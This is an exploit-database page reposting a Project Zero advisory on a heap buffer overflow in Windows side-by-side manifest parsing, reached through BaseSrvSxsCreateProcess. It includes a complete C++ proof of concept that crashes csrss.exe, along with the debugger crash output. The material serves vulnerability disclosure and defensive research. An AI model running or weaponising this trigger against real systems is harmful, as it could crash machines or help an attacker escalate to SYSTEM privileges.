Advertisement






Windows sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity Heap Buffer Overflow

CVE Category Price Severity
CVE-2020-1027 CWE-119 Unknown High
Author Risk Exploitation Type Date
Unknown High Local 2022-08-15
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022080055

Below is a copy:

Windows sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity Heap Buffer Overflow
Windows: Heap buffer overflow in sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity

## SUMMARY
A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.


## VULNERABILITY DETAILS
In 2020, Project Zero reported a heap buffer overflow in application manifest parsing[1]. The `MaximumLength` field in one of the `UNICODE_STRING` parameters of the `BaseSrvSxsCreateActivationContextFromMessage` CSR routine wasn't properly validated, and was later used by `XMLParser_Element_doc_assembly_assemblyIdentity` as the maximum size of a `memcpy` destination buffer. The fix added an extra `CsrValidateMessageBuffer` call to `BaseSrvSxsCreateActivationContextFromMessage`.

We've just discovered that `BaseSrvSxsCreateActivationContextFromMessage` is not the only CSR routine that can reach `XMLParser_Element_doc_assembly_assemblyIdentity`. An attacker can trigger the same buffer overflow via `BaseSrvSxsCreateProcess`.

1. https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1027.html


## VERSION
Windows 11 12H2 (OS Build 22000.593)
Windows 10 12H2 (OS Build 19044.1586)


## REPRODUCTION CASE
1) Enable page heap verification for csrss.exe:
```
gflags /p /enable csrss.exe /full
```

2) Restart the machine.

3) Compile and run:
```
#pragma comment(lib, "ntdll")

#include <windows.h>
#include <winternl.h>
#include <cstdint>
#include <cstdio>
#include <string>

typedef struct _SECTION_IMAGE_INFORMATION {
  PVOID EntryPoint;
  ULONG StackZeroBits;
  ULONG StackReserved;
  ULONG StackCommit;
  ULONG ImageSubsystem;
  WORD SubSystemVersionLow;
  WORD SubSystemVersionHigh;
  ULONG Unknown1;
  ULONG ImageCharacteristics;
  ULONG ImageMachineType;
  ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;

typedef struct _RTL_USER_PROCESS_INFORMATION {
  ULONG Size;
  HANDLE ProcessHandle;
  HANDLE ThreadHandle;
  CLIENT_ID ClientId;
  SECTION_IMAGE_INFORMATION ImageInformation;
  BYTE Unknown1[128];
} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;

NTSTATUS(NTAPI* RtlCreateProcessParameters)
(PRTL_USER_PROCESS_PARAMETERS*,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PVOID,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING);
NTSTATUS(NTAPI* RtlCreateUserProcess)
(PUNICODE_STRING,
 ULONG,
 PRTL_USER_PROCESS_PARAMETERS,
 PSECURITY_DESCRIPTOR,
 PSECURITY_DESCRIPTOR,
 HANDLE,
 BOOLEAN,
 HANDLE,
 HANDLE,
 PRTL_USER_PROCESS_INFORMATION);

PVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG);
VOID(NTAPI* CsrFreeCaptureBuffer)(PVOID);
NTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG);
NTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR);

void CaptureString(LPVOID capture_buffer,
                   uint8_t* msg_field,
                   PCWSTR string,
                   size_t length = 0) {
  if (length == 0)
    length = lstrlenW(string);

  CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2,
                          length * 2 + 2, (PSTR)msg_field);
}

int main() {
  HMODULE ntdll = LoadLibrary(L"ntdll");

#define INIT_PROC(name) \
  name = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name));

  INIT_PROC(RtlCreateProcessParameters);
  INIT_PROC(RtlCreateUserProcess);

  INIT_PROC(CsrAllocateCaptureBuffer);
  INIT_PROC(CsrFreeCaptureBuffer);
  INIT_PROC(CsrClientCallServer);
  INIT_PROC(CsrCaptureMessageString);

  UNICODE_STRING image_path;
  PRTL_USER_PROCESS_PARAMETERS proc_params;
  RTL_USER_PROCESS_INFORMATION proc_info = {0};

  RtlInitUnicodeString(&image_path, L"\\SystemRoot\\notepad.exe");
  RtlCreateProcessParameters(&proc_params, &image_path, NULL, NULL, NULL, NULL,
                             NULL, NULL, NULL, NULL);
  RtlCreateUserProcess(&image_path, OBJ_CASE_INSENSITIVE, proc_params, NULL,
                       NULL, NULL, FALSE, NULL, NULL, &proc_info);

  const size_t HEADER_SIZE = 0x40;
  uint8_t msg[HEADER_SIZE + 0x1f8] = {0};

#define FIELD(n) msg + HEADER_SIZE + 8 * n
#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value;

  SET_FIELD(2, proc_info.ClientId.UniqueProcess);
  SET_FIELD(3, proc_info.ClientId.UniqueThread);

  SET_FIELD(4, -1);
  SET_FIELD(7, 1);
  SET_FIELD(8, 0x20000);

  std::string manifest =
      "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' "
      "manifestVersion='1.0'>"
      "<assemblyIdentity name='@' version='1.0.0.0'/>"
      "</assembly>";
  manifest.replace(manifest.find('@'), 1, 0x4000, 'A');

  SET_FIELD(13, manifest.c_str());
  SET_FIELD(14, manifest.size());

  PVOID capture_buffer = CsrAllocateCaptureBuffer(6, 0x200);

  CaptureString(capture_buffer, FIELD(22), L"C:\\Windows\\");
  CaptureString(capture_buffer, FIELD(24), L"\x00\x00", 2);
  CaptureString(capture_buffer, FIELD(28), L"A");
  SET_FIELD(28, 0xff000002);

  CsrClientCallServer(msg, capture_buffer, 0x1001001d,
                      sizeof(msg) - HEADER_SIZE);
}
```

The crash should look like to the following:
```
CONTEXT:  0000007c4afbcfc0 -- (.cxr 0x7c4afbcfc0)
rax=0000020e6515ce00 rbx=0000000000004000 rcx=0000020e6515d010
rdx=fffffffffbe741fa rsi=0000020e652c48c0 rdi=0000000000000001
rip=00007ff825a53c53 rsp=0000007c4afbdd38 rbp=0000007c4afbde80
 r8=0000000000000032  r9=00000000000001f7 r10=00007ff822e6b558
r11=0000020e60fd8ffc r12=0000020e66d1cf80 r13=0000000000000001
r14=0000000000000000 r15=0000000000000005
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
ntdll!memcpy+0x113:
0033:00007ff8`25a53c53 0f2941f0        movaps  xmmword ptr [rcx-10h],xmm0 ds:002b:0000020e`6515d000=????????????????????????????????
Resetting default scope

WRITE_ADDRESS:  0000020e6515d000

EXCEPTION_RECORD:  0000007c4afbd4b0 -- (.exr 0x7c4afbd4b0)
ExceptionAddress: 00007ff825a53c53 (ntdll!memcpy+0x0000000000000113)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000001
   Parameter[1]: 0000020e6515d000
Attempt to write to address 0000020e6515d000

STACK_TEXT:
0000007c`4afbdd38 00007ff8`22df5a41 : 0000020e`652c48c0 00000000`00000001 00000000`00000001 00000000`00000001 : ntdll!memcpy+0x113
0000007c`4afbdd40 00007ff8`22e07b94 : 00007ff8`00000000 00000000`000000a8 0000020e`652c48c0 0000020e`652c48c0 : sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity+0x4c1
0000007c`4afbe3c0 00007ff8`22e1f406 : 0000020e`652e7f20 0000020e`652e7f20 00000000`00000000 00000000`00000000 : sxs!CNodeFactory::CreateNode+0xd34
0000007c`4afbe7d0 00007ff8`22df8a33 : 0000020e`00000000 0000020e`652a8cc8 00000000`00000000 0000020e`65166e20 : sxs!XMLParser::Run+0x8d6
0000007c`4afbe8f0 00007ff8`22df7468 : 0000020e`00000000 0000020e`6527ac90 00000000`00000000 0000020e`6527ac90 : sxs!SxspIncorporateAssembly+0x513
0000007c`4afbeab0 00007ff8`22df7cf6 : 00000000`00000000 00000000`00000000 0000020e`6527ac90 0000020e`65167720 : sxs!SxspIncorporateAssembly+0x104
0000007c`4afbeb60 00007ff8`22df3769 : 0000007c`00000000 0000007c`4afbefa0 00000000`00000000 0000020e`65166e20 : sxs!SxspCloseManifestGraph+0xbe
0000007c`4afbec00 00007ff8`22fb3eed : 00000000`00000000 00000000`00000000 00000000`00000000 0000007c`4afbf3a0 : sxs!SxsGenerateActivationContext+0x339
0000007c`4afbed60 00007ff8`22fb2405 : 0000007c`4afbf1f0 000004f7`0000000b 00000000`00000000 00000000`00000001 : sxssrv!BaseSrvSxsCreateActivationContextFromStructEx+0x6ed
0000007c`4afbf1a0 00007ff8`22fb1e91 : 0000020e`56e00000 00000000`01080002 00000000`00000264 00000000`00000270 : sxssrv!InternalSxsCreateProcess+0x545
0000007c`4afbf680 00007ff8`230133c3 : 00000000`00000000 0000007c`4afbf789 00000000`00000000 00000000`00000000 : sxssrv!BaseSrvSxsCreateProcess+0x71
0000007c`4afbf6c0 00007ff8`23036490 : 0000020e`ffffffff 0000007c`4afbf848 0000020e`00000000 0000020e`00000001 : basesrv!BaseSrvCreateProcess2+0x1f3
0000007c`4afbf7f0 00007ff8`25a0265f : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : CSRSRV!CsrApiRequestThread+0x4d0
0000007c`4afbfe90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2f
```


## CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


Related CVE Numbers: CVE-2020-1027,CVE-2022-22026,CVE-2022-22026.



Found by: [email protected]

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum